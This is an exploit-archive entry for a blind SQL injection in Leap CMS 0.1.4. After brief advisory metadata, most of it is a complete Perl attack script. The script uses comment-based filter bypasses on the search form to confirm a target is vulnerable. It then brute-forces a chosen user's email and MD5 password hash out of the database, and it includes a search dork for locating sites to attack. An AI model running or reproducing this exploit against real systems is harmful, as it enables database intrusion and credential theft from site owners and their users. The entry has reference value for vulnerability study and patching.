Leap CMS 0.1.4 (searchterm) Blind SQL Injection Exploit

2009-05-12 / 2009-05-13
Credit: YEnH4ckEr
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl #---------------------------------------------------------------------------------------------- #| (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT | #|--------------------------------------------------------------------------------------------| #| | Leap CMS 0.1.4 | | #| CMS INFORMATION: --------------------- | #| | #|-->WEB: http://leap.gowondesigns.com/ | #|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip | #|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap | #|-->CATEGORY: CMS / Lite | #|-->DESCRIPTION: Leap is a single file, template independent, open-source, | #| standards-compliant,extensible content management system for the web... | #|-->RELEASED: 2009-03-13 | #| | #| CMS VULNERABILITY: | #| | #|-->TESTED ON: firefox 3 | #|-->DORK: "Powered by Leap" | #|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT | #|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?) | #|-->Discovered Bug date: 2009-04-25 | #|-->Reported Bug date: 2009-04-25 | #|-->Fixed bug date: Not fixed | #|-->Info patch (????): Not fixed | #|-->Author: YEnH4ckEr | #|-->mail: y3nh4ck3r[at]gmail[dot]com | #|-->WEB/BLOG: N/A | #|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. | #|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | #---------------------------------------------------------------------------------------------- # #----------- #BUG FILE: #----------- # #Path --> [HOME_PATH]/leap.php # # # #function contentSearch() { # # ... # # #if($searchterm=='') return FALSE; # # ... # # if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search); <-------BYPASSED (/**/) # # $keywords = explode(' ', $search); //print_r($keywords); <---------BYPASSED (/**/) # # ... # # $query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND"; <----------START QUERY # # if ($keyCount > 1) { # # ... # # } # else { # # $query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";} <--------INJECTION HERE # $pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query; # # ... # # } # #} # #------------ #CONDITIONS: #------------ # #**gpc_magic_quotes=off # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1# # #Return: Search for 'a' # ####################################################################### ####################################################################### ##*******************************************************************## ## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: JosS and all SPANISH Hack3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit"); system ("color 04"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(POST => $_[0]); $request->content_type('application/x-www-form-urlencoded'); $request->content($_[1]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit\n"; print "\t[<-->] USAGE MODE: [<-->]\n"; print "\t[<-->] perl $0 [HOST] [PATH] [Search] [Id]\n"; print "\t[<-->] [HOST]: Web.\n"; print "\t[<-->] [PATH]: Home Path.\n"; print "\t[<-->] [Search]: Something. Default: a (**optional)\n"; print "\t[<-->] [id]: Id user. Default: 1 (**optional)\n"; print "\t[<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1'\n"; } sub lengthuser{ #First, user length... $exit=0; $i=0; while($exit==0){ my $searchinjected="searchterm=".$_[2]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=".$_[1].")=".$i++."#"; #injected code $output=&request($_[0],$searchinjected); if ( $output =~ (/No Results Found./)) { $exit=0; }else{ $exit=1; } } #Save column length $lengthuser=$i-1; print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tUser Length catched!\n"; print "\tUser Length: ".$lengthuser."\n"; print "\tBruteforcing values...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; return $lengthuser; } sub bruteforcing { my $values=""; #Getting datas $j=1; $i=46; while(($j<=$_[2]) && ($i<=126)){ my $searchinjected="searchterm=".$_[4]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/".$_[3]."/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$_[1]."'),".$j.",1))=".$i."#"; #injected code $output=&request($_[0],$searchinjected); if ( $output !~ (/No Results Found./)) { $values=$values.chr($i); $j++; $i=45; } if($i==57) { $i=63; #@ } if($i==64) { $i=96; } #new char $i++; } #Error if(($i>127) || ($j>$_[2])){ if(!$values){ print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tEXPLOIT FAILED!\n"; print "\tFatal error: Datas doesn't find!\n"; print "\tCause: Maybe you have to include more characters on bruteforcing...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; exit(1); } } return $values; } #Main &lw; print "\t\t#######################################################\n\n"; print "\t\t#######################################################\n\n"; print "\t\t## Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit ##\n\n"; print "\t\t## ++Conditions: Need magic_quotes=off ##\n\n"; print "\t\t## Author: Y3nh4ck3r ##\n\n"; print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t\t## Proud to be Spanish! ##\n\n"; print "\t\t#######################################################\n\n"; print "\t\t#######################################################\n\n"; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; #Build the uri my $finalhost="http://".$host."/".$path."/index.php?search"; #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=1) { &helper; exit(1); } #Search parameter. It's optional. Default:a if(!$ARGV[2]){ $search="a"; }else{ $search=$ARGV[2]; } #Id-user is optional.Default:1 if(!$ARGV[3]){ $idhacked="1"; }else{ $idhacked=$ARGV[3]; } #Testing blind sql injection my $finalrequest = $finalhost; #Test blind sql injection my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#"; #injected code $output=&request($finalrequest, $searchinjected); if ( $output =~ (/No Results Found./)) { print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tThis Web is not vulnerable!\n"; print "\t--->Maybe:\n"; print "\t1.-Patched or gpc_magic_quotes=off\n"; print "\t2.-Search parameter hasn't found. Try other!\n"; print "\tEXPLOIT FAILED!\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; exit(1); }else{ print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tWeb is vulnerable!\n"; print "\tTested Blind SQL Injection.\n"; print "\tChecking id user...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; } #Test if user exists my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$idhacked."')#"; #injected code $output=&request($$finalrequest,$searchinjected); if ( $output =~ (/No Results Found./)) { print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tUser doesn't exists!\n"; print "\tEXPLOIT FAILED!\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; exit(1); }else{ print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tOK...The user exists!\n"; print "\tStarting exploit...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tWait several minutes...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; } #Bruteforcing user... $length_mail=&lengthuser($finalrequest,$idhacked,$search); $email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search); if(length($email)!=$length_mail) { print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tEXPLOIT FAILED!\n"; print "\tFatal error: Different length email!\n"; print "\tCause: Maybe you have to include more characters on bruteforcing...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; exit(1); } print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tGot user!\n"; print "\tBruteforcing password hash (md5)...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n"; #Bruteforcing password... $passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length print "\n\t\t*************************************************\n"; print "\t\t**** EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) ****\n"; print "\t\t*************************************************\n\n"; print "\t\tUser-id:".$idhacked."\n"; print "\t\tE-mail:".$email."\n"; print "\t\tUser-password(hash):".$passhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1); #Ok...all job done

References:

http://www.milw0rm.com/exploits/8577
http://www.milw0rm.com/exploits/8576


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